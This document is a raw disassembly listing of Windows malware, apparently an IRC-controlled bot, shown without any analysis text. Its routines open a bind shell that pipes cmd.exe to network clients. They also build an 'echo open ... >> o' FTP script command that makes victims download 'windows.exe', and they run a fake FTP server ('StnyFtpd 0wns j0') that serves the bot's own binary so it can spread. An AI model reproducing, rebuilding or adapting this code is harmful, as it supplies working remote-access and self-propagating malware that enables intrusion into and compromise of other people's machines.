mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 28h
pop ecx
mov esi, eax
lea edi, [ebp+var_11C]
rep movsd
xor esi, esi
inc esi
push 10h ; Size
mov [eax+98h], esi
xor edi, edi
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push [ebp+var_98]
mov [ebp+Dst], 2
call dword_444260 ; htons
push 6
push esi
push 2
mov [ebp+var_36], ax
call dword_444100 ; socket
mov [ebp+arg_0], eax
push 10h
lea eax, [ebp+Dst]
push eax
push [ebp+arg_0]
call dword_4441E4 ; bind
push 5
push [ebp+arg_0]
call dword_444230 ; listen
mov ebx, ds:dword_42B0A0
mov esi, ds:dword_42B004
loc_4115D5: ; CODE XREF: sub_411555+1C8j
push edi
push edi
push [ebp+arg_0]
call dword_4440BC ; accept
push edi
mov dword_4D5250, eax
lea eax, [ebp+var_C]
push eax
push offset dword_4D5248
push offset dword_4D5244
mov [ebp+var_C], 0Ch
mov [ebp+var_4], 1
mov [ebp+var_8], edi
call ebx ; CreatePipe
push edi
lea eax, [ebp+var_C]
push eax
push offset dword_4D5254
push offset dword_4D524C
call ebx ; CreatePipe
push 44h ; Size
lea eax, [ebp+var_7C]
push edi ; Val
push eax ; Dst
call _memset
mov eax, dword_4D5244
add esp, 0Ch
push edi
mov [ebp+var_44], eax
mov eax, dword_4D5254
push 1
mov [ebp+var_40], eax
push 2
lea eax, [ebp+var_3C]
push eax
mov [ebp+var_7C], 44h
mov [ebp+var_50], 101h
mov [ebp+var_4C], di
call ds:dword_42B09C ; GetCurrentProcess
push eax
push dword_4D5254
call ds:dword_42B09C ; GetCurrentProcess
push eax
call ds:dword_42B098 ; DuplicateHandle
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_7C]
push eax
push edi
push edi
push 4000090h
push 1
lea eax, [ebp+var_C]
push eax
push eax
push offset aCmd_exe ; "cmd.exe"
push edi
call ds:dword_42B008 ; CreateProcessA
lea eax, [ebp+var_18]
push eax
push edi
push edi
push offset sub_41150A
push edi
lea eax, [ebp+var_C]
push eax
call ds:dword_42B03C ; CreateThread
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push edi
push edi
push offset sub_4114C7
push edi
lea eax, [ebp+var_C]
push eax
call ds:dword_42B03C ; CreateThread
push 0FFFFFFFFh
push [ebp+var_28]
mov [ebp+var_10], eax
call ds:dword_42B054 ; WaitForSingleObject
push edi
push [ebp+var_10]
call ds:dword_42B028 ; TerminateThread
push edi
push [ebp+var_14]
call ds:dword_42B028 ; TerminateThread
push [ebp+var_10]
call esi ; CloseHandle
push [ebp+var_14]
call esi ; CloseHandle
push edi
push [ebp+var_28]
call ds:dword_42B094 ; TerminateProcess
push dword_4D5244
call esi ; CloseHandle
push dword_4D5248
call esi ; CloseHandle
push dword_4D524C
call esi ; CloseHandle
push dword_4D5254
call esi ; CloseHandle
push [ebp+var_24]
call esi ; CloseHandle
push [ebp+var_28]
call esi ; CloseHandle
jmp loc_4115D5
sub_411555 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_411722 proc near ; DATA XREF: sub_40B690+352o
Str = byte ptr -6C0h
Dest = byte ptr -2C0h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B4 = dword ptr -0B4h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
Dst = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 6C0h
mov eax, [ebp+74h+arg_0]
push ebx
push esi
push edi
push 27h
pop ecx
mov esi, eax
lea edi, [ebp+74h+var_C0]
rep movsd
xor esi, esi
inc esi
push 10h ; Size
mov [eax+98h], esi
xor ebx, ebx
lea eax, [ebp+74h+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push [ebp+74h+var_B4]
mov [ebp+74h+Dst], 2
call dword_444260 ; htons
push ebx
push esi
push 2
mov [ebp+74h+var_12], ax
mov [ebp+74h+var_10], ebx
call dword_444100 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jnz short loc_4117D6
call dword_4441C4 ; WSAGetLastError
push eax
lea eax, [ebp+74h+Dest]
push offset asc_434054 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+74h+var_2C], ebx
jnz short loc_4117BA
push ebx ; int
push [ebp+74h+var_30] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+var_B0]
push eax ; Str
push [ebp+74h+var_C0] ; int
call sub_40123B
add esp, 14h
loc_4117BA: ; CODE XREF: sub_411722+7Cj
lea eax, [ebp+74h+Dest]
push eax
call sub_417D70
push [ebp+74h+var_BC]
call sub_40B149
pop ecx
pop ecx
push ebx
jmp loc_4119F9
; ---------------------------------------------------------------------------
loc_4117D6: ; CODE XREF: sub_411722+5Cj
mov eax, [ebp+74h+var_BC]
imul eax, 234h
mov dword_4444F4[eax], edi
push 10h
lea eax, [ebp+74h+Dst]
push eax
push edi
call dword_4441E4 ; bind
cmp eax, esi
mov ebx, 400h
jnz loc_4118E7
call dword_4441C4 ; WSAGetLastError
cmp eax, 2740h
jz short loc_41185E
push eax
lea eax, [ebp+74h+Dest]
push offset asc_434018 ; "-"
push eax ; Dest
call _sprintf
xor esi, esi
add esp, 0Ch
cmp [ebp+74h+var_2C], esi
jnz short loc_411842
push esi ; int
push [ebp+74h+var_30] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+var_B0]
push eax ; Str
push [ebp+74h+var_C0] ; int
call sub_40123B
add esp, 14h
loc_411842: ; CODE XREF: sub_411722+104j
lea eax, [ebp+74h+Dest]
push eax
call sub_417D70
push [ebp+74h+var_BC]
call sub_40B149
pop ecx
pop ecx
push esi
jmp loc_4119F9
; ---------------------------------------------------------------------------
loc_41185E: ; CODE XREF: sub_411722+E8j
push 0FFFEh
push ebx
call sub_41B325
pop ecx
pop ecx
mov dword_4D525C, eax
mov [ebp+74h+var_12], ax
push 10h
lea eax, [ebp+74h+Dst]
push eax
push edi
call dword_4441E4 ; bind
cmp eax, esi
jnz short loc_4118E7
call dword_4441C4 ; WSAGetLastError
mov esi, eax
push esi
lea eax, [ebp+74h+Dest]
push offset asc_434018 ; "-"
push eax ; Dest
call _sprintf
xor edi, edi
add esp, 0Ch
cmp [ebp+74h+var_2C], edi
jnz short loc_4118CB
cmp esi, 2740h
jz short loc_4118CB
push edi ; int
push [ebp+74h+var_30] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+var_B0]
push eax ; Str
push [ebp+74h+var_C0] ; int
call sub_40123B
add esp, 14h
loc_4118CB: ; CODE XREF: sub_411722+185j
; sub_411722+18Dj
lea eax, [ebp+74h+Dest]
push eax
call sub_417D70
push [ebp+74h+var_BC]
call sub_40B149
pop ecx
pop ecx
push edi
jmp loc_4119F9
; ---------------------------------------------------------------------------
loc_4118E7: ; CODE XREF: sub_411722+D7j
; sub_411722+161j
push 5
push edi
call dword_444230 ; listen
cmp eax, esi
jz loc_4119E7
mov [ebp+74h+var_4], 10h
mov esi, offset aWindows_exe ; "windows.exe"
loc_411904: ; CODE XREF: sub_411722+1F7j
; sub_411722+264j ...
lea eax, [ebp+74h+var_4]
push eax
lea eax, [ebp+74h+var_24]
push eax
push edi
call dword_4440BC ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+74h+arg_0], eax
jz short loc_411904
movzx eax, [ebp+74h+var_22]
push eax
push [ebp+74h+var_20]
call dword_444188 ; inet_ntoa
push eax
lea eax, [ebp+74h+Dest]
push offset asc_433FE0 ; "-"
push eax ; Dest
call _sprintf
add esp, 10h
cmp [ebp+74h+var_2C], 0
jnz short loc_41195F
push 0 ; int
push [ebp+74h+var_30] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+var_B0]
push eax ; Str
push [ebp+74h+var_C0] ; int
call sub_40123B
add esp, 14h
loc_41195F: ; CODE XREF: sub_411722+220j
lea eax, [ebp+74h+Dest]
push eax
call sub_417D70
pop ecx
push 0
push 200h
lea eax, [ebp+74h+Dest]
push eax
push [ebp+74h+arg_0]
call dword_444064 ; recv
cmp eax, 0FFFFFFFFh
jz loc_411904
push esi
push esi
push dword_4D1FE4
push [ebp+74h+var_C0]
call sub_4023C9
pop ecx
push eax
push offset aEchoOpenSDOE_0 ; "echo open %s %d >> o&echo user 1 >>o &e"...
lea eax, [ebp+74h+Str]
push ebx ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
lea eax, [ebp+74h+Str]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+74h+Str]
push eax
push [ebp+74h+arg_0]
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz loc_411904
inc dword_4D5258
jmp loc_411904
; ---------------------------------------------------------------------------
loc_4119E7: ; CODE XREF: sub_411722+1D0j
push edi
call dword_444218 ; closesocket
push [ebp+74h+var_BC]
call sub_40B149
pop ecx
push 0
loc_4119F9: ; CODE XREF: sub_411722+AFj
; sub_411722+137j ...
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_411722 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411A00 proc near ; CODE XREF: sub_411B17+4D2p
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
call ds:dword_42B204 ; WSAStartup
push 0
push 1
push 2
call ds:dword_42B20C ; socket
push [ebp+arg_0]
mov dword_4D5260, eax
mov [ebp+var_10], 2
call ds:dword_42B218 ; inet_addr
push [ebp+arg_4]
mov [ebp+var_C], eax
call ds:dword_42B200 ; htons
mov [ebp+var_E], ax
push 10h
lea eax, [ebp+var_10]
push eax
push dword_4D5260
call ds:dword_42B1F4 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_411A78
push dword_4D5260
call ds:dword_42B1F8 ; closesocket
call ds:dword_42B1FC ; WSACleanup
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_411A78: ; CODE XREF: sub_411A00+60j
xor eax, eax
inc eax
leave
retn
sub_411A00 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411A7D proc near ; CODE XREF: sub_411B17:loc_41203Cp
DstBuf = byte ptr -504h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
push 104h
lea eax, [ebp+var_104]
push eax
push 0
call ds:dword_42B00C ; GetModuleFileNameA
lea eax, [ebp+var_104]
push offset aRb ; "rb"
push eax ; char *
call _fopen
mov esi, eax
test esi, esi
pop ecx
pop ecx
jz short loc_411B14
test byte ptr [esi+0Ch], 10h
jnz short loc_411AF8
push edi
mov edi, 400h
loc_411AC0: ; CODE XREF: sub_411A7D+78j
push esi ; File
push 1 ; Count
lea eax, [ebp+DstBuf]
push edi ; ElementSize
push eax ; DstBuf
call _fread
add esp, 10h
push 0
push edi
lea eax, [ebp+DstBuf]
push eax
push dword_4D5260
call ds:dword_42B210 ; send
push 1
call ds:dword_42B014 ; Sleep
test byte ptr [esi+0Ch], 10h
jz short loc_411AC0
pop edi
loc_411AF8: ; CODE XREF: sub_411A7D+3Bj
push esi ; File
call _fclose
pop ecx
push dword_4D5260
call ds:dword_42B1F8 ; closesocket
call ds:dword_42B1FC ; WSACleanup
xor eax, eax
inc eax
loc_411B14: ; CODE XREF: sub_411A7D+35j
pop esi
leave
retn
sub_411A7D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_411B17 proc near ; DATA XREF: sub_40B690+22Bo
var_A70 = byte ptr -0A70h
var_8E0 = dword ptr -8E0h
var_6E0 = dword ptr -6E0h
var_4C8 = byte ptr -4C8h
var_448 = dword ptr -448h
var_444 = dword ptr -444h
var_43C = dword ptr -43Ch
var_338 = byte ptr -338h
var_2D4 = byte ptr -2D4h
Dst = byte ptr -2A0h
var_23C = byte ptr -23Ch
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
var_224 = dword ptr -224h
Str = byte ptr -128h
Dest = byte ptr -0FCh
var_C8 = byte ptr -0C8h
Str1 = byte ptr -0B0h
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_3C = byte ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 0A70h
mov eax, [ebp+74h+arg_0]
push ebx
push esi
push edi
mov esi, eax
xor ebx, ebx
inc ebx
mov ecx, 0A9h
lea edi, [ebp+74h+var_6E0]
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp+74h+var_A70]
push eax
xor esi, esi
push 101h
mov [ebp+74h+var_1C], ebx
mov [ebp+74h+var_2C], ebx
mov [ebp+74h+var_24], ebx
mov [ebp+74h+var_22C], esi
mov [ebp+74h+var_43C], esi
call ds:dword_42B204 ; WSAStartup
push esi
push ebx
push 2
call ds:dword_42B20C ; socket
mov esi, ds:dword_42B1E0
push 4
lea ecx, [ebp+74h+var_1C]
push ecx
push 4
mov edi, 0FFFFh
push edi
push eax
mov [ebp+74h+var_8], eax
call esi ; setsockopt
push 4
lea eax, [ebp+74h+var_2C]
push eax
push 0FFFFFFFBh
push edi
mov edi, [ebp+74h+var_8]
push edi
call esi ; setsockopt
lea eax, [ebp+74h+var_24]
push eax
push 8004667Eh
push edi
call ds:dword_42B1E4 ; ioctlsocket
and [ebp+74h+var_48], 0
xor eax, eax
mov ax, word ptr dword_4D1FE4
mov [ebp+74h+var_4C], 2
push eax
call dword_444260 ; htons
mov [ebp+74h+var_4A], ax
push 10h
lea eax, [ebp+74h+var_4C]
push eax
push edi
call ds:dword_42B1E8 ; bind
test eax, eax
jl loc_412129
push 0Ah
push edi
call ds:dword_42B1EC ; listen
push 41h
pop ecx
xor eax, eax
push eax
push eax
push eax
lea eax, [ebp+74h+var_43C]
push eax
mov eax, [ebp+74h+var_8]
mov [ebp+74h+var_228], edi
mov [ebp+74h+var_4], edi
inc eax
lea esi, [ebp+74h+var_22C]
lea edi, [ebp+74h+var_43C]
mov [ebp+74h+var_22C], ebx
push eax
rep movsd
call ds:dword_42B21C ; select
cmp eax, 0FFFFFFFFh
jz loc_412129
mov ebx, ds:dword_42B210
loc_411C2D: ; CODE XREF: sub_411B17+609j
xor edi, edi
cmp [ebp+74h+var_4], edi
mov [ebp+74h+arg_0], edi
jl loc_4120F5
loc_411C3B: ; CODE XREF: sub_411B17+5D8j
push 64h ; Size
lea eax, [ebp+74h+Dst]
push 0 ; Val
push eax ; Dst
call _memset
push 64h ; Size
xor esi, esi
lea eax, [ebp+74h+Str1]
push esi ; Val
push eax ; Dst
call _memset
add esp, 18h
lea eax, [ebp+74h+var_43C]
push eax
push edi
call sub_4298D6 ; __WSAFDIsSet
test eax, eax
jz loc_4120E8
cmp edi, [ebp+74h+var_8]
jnz short loc_411CE2
lea eax, [ebp+74h+var_10]
push eax
lea eax, [ebp+74h+var_23C]
push eax
push [ebp+74h+var_8]
mov [ebp+74h+var_10], 10h
call ds:dword_42B1F0 ; accept
cmp eax, 0FFFFFFFFh
jz loc_4120E8
mov edx, [ebp+74h+var_22C]
xor ecx, ecx
cmp edx, esi
jbe short loc_411CB4
loc_411CA6: ; CODE XREF: sub_411B17+19Bj
cmp [ebp+ecx*4+74h+var_228], eax
jz short loc_411CB4
inc ecx
cmp ecx, edx
jb short loc_411CA6
loc_411CB4: ; CODE XREF: sub_411B17+18Dj
; sub_411B17+196j
cmp ecx, edx
jnz short loc_411CCA
cmp edx, 40h
jnb short loc_411CCA
mov [ebp+ecx*4+74h+var_228], eax
inc [ebp+74h+var_22C]
loc_411CCA: ; CODE XREF: sub_411B17+19Fj
; sub_411B17+1A4j
cmp eax, [ebp+74h+var_4]
jle short loc_411CD2
mov [ebp+74h+var_4], eax
loc_411CD2: ; CODE XREF: sub_411B17+1B6j
push esi
push 15h
push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
push eax
call ebx ; send
jmp loc_4120E8
; ---------------------------------------------------------------------------
loc_411CE2: ; CODE XREF: sub_411B17+15Dj
push esi
push 64h
lea eax, [ebp+74h+Dst]
push eax
push edi
call ds:dword_42B208 ; recv
test eax, eax
jg short loc_411D3F
mov ecx, [ebp+74h+var_22C]
xor eax, eax
cmp ecx, esi
jbe short loc_411D33
loc_411D03: ; CODE XREF: sub_411B17+1F8j
cmp [ebp+eax*4+74h+var_228], edi
jz short loc_411D28
inc eax
cmp eax, ecx
jb short loc_411D03
jmp short loc_411D33
; ---------------------------------------------------------------------------
loc_411D13: ; CODE XREF: sub_411B17+214j
mov ecx, [ebp+eax*4+74h+var_224]
mov [ebp+eax*4+74h+var_228], ecx
mov ecx, [ebp+74h+var_22C]
inc eax
loc_411D28: ; CODE XREF: sub_411B17+1F3j
dec ecx
cmp eax, ecx
jb short loc_411D13
dec [ebp+74h+var_22C]
loc_411D33: ; CODE XREF: sub_411B17+1EAj
; sub_411B17+1FAj
push edi
call ds:dword_42B1F8 ; closesocket
jmp loc_4120E8
; ---------------------------------------------------------------------------
loc_411D3F: ; CODE XREF: sub_411B17+1DEj
lea eax, [ebp+74h+var_338]
push eax
lea eax, [ebp+74h+Str1]
push eax
lea eax, [ebp+74h+Dst]
push offset aSS_3 ; "%s %s"
push eax ; Src
call _sscanf
lea eax, [ebp+74h+Str1]
push offset aUser_1 ; "USER"
push eax ; Str1
call _strcmp
add esp, 18h
test eax, eax
jnz short loc_411D7D
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_4120D3
; ---------------------------------------------------------------------------
loc_411D7D: ; CODE XREF: sub_411B17+257j
lea eax, [ebp+74h+Str1]
push offset aPass_0 ; "PASS"
push eax ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_411D9E
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp loc_4120D3
; ---------------------------------------------------------------------------
loc_411D9E: ; CODE XREF: sub_411B17+278j
lea eax, [ebp+74h+Str1]
push offset aSyst ; "SYST"
push eax ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_411DBF
push esi
push 0Dh
push offset a215Stnyftpd ; "215 StnyFtpd\n"
jmp loc_4120D3
; ---------------------------------------------------------------------------
loc_411DBF: ; CODE XREF: sub_411B17+299j
lea eax, [ebp+74h+Str1]
push offset aRest ; "REST"
push eax ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_411DE0
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp loc_4120D3
; ---------------------------------------------------------------------------
loc_411DE0: ; CODE XREF: sub_411B17+2BAj
lea eax, [ebp+74h+Str1]
push offset off_43426C ; Str2
push eax ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_411E01
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
jmp loc_4120D3
; ---------------------------------------------------------------------------
loc_411E01: ; CODE XREF: sub_411B17+2DBj
lea eax, [ebp+74h+Str1]
push offset aType ; "TYPE"
push eax ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_411E39
lea eax, [ebp+74h+var_338]
push offset aA_0 ; "A"
push eax ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_411E39
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_4120D3
; ---------------------------------------------------------------------------
loc_411E39: ; CODE XREF: sub_411B17+2FCj
; sub_411B17+313j
lea eax, [ebp+74h+Str1]
push offset aType ; "TYPE"
push eax ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_411E71
lea eax, [ebp+74h+var_338]
push offset aI_0 ; "I"
push eax ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_411E71
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_4120D3
; ---------------------------------------------------------------------------
loc_411E71: ; CODE XREF: sub_411B17+334j
; sub_411B17+34Bj
lea eax, [ebp+74h+Str1]
push offset aPasv ; "PASV"
push eax ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_411EBC
push 0Ah
pop ecx
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
lea edi, [ebp+74h+Str]
rep movsd
push eax
lea eax, [ebp+74h+Str]
push eax ; Str
movsw
call _strlen
pop ecx
push eax
lea eax, [ebp+74h+Str]
loc_411EAC: ; CODE XREF: sub_411B17+3D8j
push eax
push [ebp+74h+arg_0]
call ebx ; send
mov edi, [ebp+74h+arg_0]
xor esi, esi
jmp loc_4120D6
; ---------------------------------------------------------------------------
loc_411EBC: ; CODE XREF: sub_411B17+36Cj
lea eax, [ebp+74h+Str1]
push offset aList_0 ; "LIST"
push eax ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_411EF1
push 5
pop ecx
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
lea edi, [ebp+74h+var_C8]
rep movsd
movsw
push eax
lea eax, [ebp+74h+var_C8]
push eax ; Str
movsb
call _strlen
pop ecx
push eax
lea eax, [ebp+74h+var_C8]
jmp short loc_411EAC
; ---------------------------------------------------------------------------
loc_411EF1: ; CODE XREF: sub_411B17+3B7j
lea eax, [ebp+74h+Str1]
push offset aPort ; "PORT"
push eax ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_411FBF
lea eax, [ebp+74h+var_2D4]
push eax
lea eax, [ebp+74h+Dest]
push eax
lea eax, [ebp+74h+var_14]
push eax
lea eax, [ebp+74h+var_18]
push eax
lea eax, [ebp+74h+var_20]
push eax
lea eax, [ebp+74h+var_28]
push eax
lea eax, [ebp+74h+Dst]
push offset aS_2 ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax ; Src
call _sscanf
lea eax, [ebp+74h+Dest]
push eax ; Str
call j__atol
mov [ebp+74h+var_C], eax
lea eax, [ebp+74h+var_2D4]
push eax ; Str
call j__atol
push 32h ; Size
mov [ebp+74h+arg_0], eax
lea eax, [ebp+74h+Dest]
push esi ; Val
push eax ; Dst
call _memset
push [ebp+74h+arg_0]
lea eax, [ebp+74h+Dest]
push [ebp+74h+var_C]
push offset aXX ; "%x%x\n"
push eax ; Dest
call _sprintf
add esp, 44h
push 10h ; Radix
lea eax, [ebp+74h+Dest]
push esi ; EndPtr
push eax ; Str
call _strtoul
mov [ebp+74h+var_C], eax
lea eax, [ebp+74h+var_14]
push eax
lea eax, [ebp+74h+var_18]
push eax
lea eax, [ebp+74h+var_20]
push eax
lea eax, [ebp+74h+var_28]
push eax
lea eax, [ebp+74h+var_3C]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax ; Dest
call _sprintf
add esp, 24h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
jmp loc_4120D3
; ---------------------------------------------------------------------------
loc_411FBF: ; CODE XREF: sub_411B17+3ECj
lea eax, [ebp+74h+Str1]
push offset aRetr ; "RETR"
push eax ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_4120B7
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push edi
call ebx ; send
push [ebp+74h+var_C]
lea eax, [ebp+74h+var_3C]
push eax
call sub_411A00
cmp eax, 1
pop ecx
pop ecx
jnz loc_4120AD
lea eax, [ebp+74h+var_3C]
push eax
lea eax, [ebp+74h+var_8E0]
push offset asc_434104 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+74h+var_444], esi
jnz short loc_41203C
push esi ; int
push [ebp+74h+var_448] ; int
lea eax, [ebp+74h+var_8E0]
push eax ; int
lea eax, [ebp+74h+var_4C8]
push eax ; Str
push [ebp+74h+var_6E0] ; int
call sub_40123B
add esp, 14h
loc_41203C: ; CODE XREF: sub_411B17+500j
call sub_411A7D
cmp eax, 1
jnz loc_4120D6
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push edi
call ebx ; send
lea eax, [ebp+74h+var_3C]
push eax
lea eax, [ebp+74h+var_8E0]
push offset asc_4340D0 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+74h+var_444], esi
jnz short loc_412098
push esi ; int
push [ebp+74h+var_448] ; int
lea eax, [ebp+74h+var_8E0]
push eax ; int
lea eax, [ebp+74h+var_4C8]
push eax ; Str
push [ebp+74h+var_6E0] ; int
call sub_40123B
add esp, 14h
loc_412098: ; CODE XREF: sub_411B17+55Cj
lea eax, [ebp+74h+var_8E0]
push eax
call sub_417D70
inc dword_4D400C
pop ecx
jmp short loc_4120D6
; ---------------------------------------------------------------------------
loc_4120AD: ; CODE XREF: sub_411B17+4DCj
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_4120D3
; ---------------------------------------------------------------------------
loc_4120B7: ; CODE XREF: sub_411B17+4BAj
lea eax, [ebp+74h+Str1]
push offset aQuit ; "QUIT"
push eax ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_4120D6
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_4120D3: ; CODE XREF: sub_411B17+261j
; sub_411B17+282j ...
push edi
call ebx ; send
loc_4120D6: ; CODE XREF: sub_411B17+3A0j
; sub_411B17+52Dj ...
push 64h ; Size
lea eax, [ebp+74h+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
loc_4120E8: ; CODE XREF: sub_411B17+154j
; sub_411B17+17Dj ...
inc edi
cmp edi, [ebp+74h+var_4]
mov [ebp+74h+arg_0], edi
jle loc_411C3B
loc_4120F5: ; CODE XREF: sub_411B17+11Ej
push 41h
pop ecx
xor eax, eax
push eax
push eax
push eax
lea eax, [ebp+74h+var_43C]
push eax
mov eax, [ebp+74h+var_4]
inc eax
lea esi, [ebp+74h+var_22C]
lea edi, [ebp+74h+var_43C]
push eax
rep movsd
call ds:dword_42B21C ; select
cmp eax, 0FFFFFFFFh
jnz loc_411C2D
xor ebx, ebx
inc ebx
loc_412129: ; CODE XREF: sub_411B17+C1j
; sub_411B17+10Aj
pop edi
pop esi
mov eax, ebx
pop ebx
add ebp, 74h
leave
retn 4
sub_411B17 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_412135(int,int,int,char *Source)
sub_412135 proc near ; CODE XREF: sub_40274D+73A7p
; sub_4129C2+143p
Dst = byte ptr -598h
var_494 = byte ptr -494h
var_38C = dword ptr -38Ch
var_378 = byte ptr -378h
var_36C = dword ptr -36Ch
Str1 = byte ptr -360h
Str = byte ptr -24Ch
Dest = byte ptr -4Ch
var_24 = byte ptr -24h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_16 = word ptr -16h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
Source = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 598h
push ebx
push esi
push edi
xor ebx, ebx
push 104h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call _memset
mov edi, [ebp+arg_0]
push offset asc_42CDD8 ; "\n"
push edi ; Str
call _strtok
add esp, 14h
cmp [ebp+arg_8], ebx
push edi
jz short loc_412194
push [ebp+arg_8]
mov esi, 200h
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
lea eax, [ebp+Str]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
jmp loc_412290
; ---------------------------------------------------------------------------
loc_412194: ; CODE XREF: sub_412135+3Bj
cmp [ebp+Source], ebx
jz loc_412276
call _strlen
push edi
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
mov [eax+edi-1], bl
mov esi, 200h
lea eax, [ebp+Str]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
lea eax, [ebp+Str]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+arg_4]
call dword_4441A0 ; send
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+Str]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+Str]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+arg_4]
call dword_4441A0 ; send
push edi ; Str
call _strlen
push 3Ch
push 96h
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
mov byte ptr [eax+edi], 2Ah
lea eax, [ebp+Str]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
lea eax, [ebp+Str]
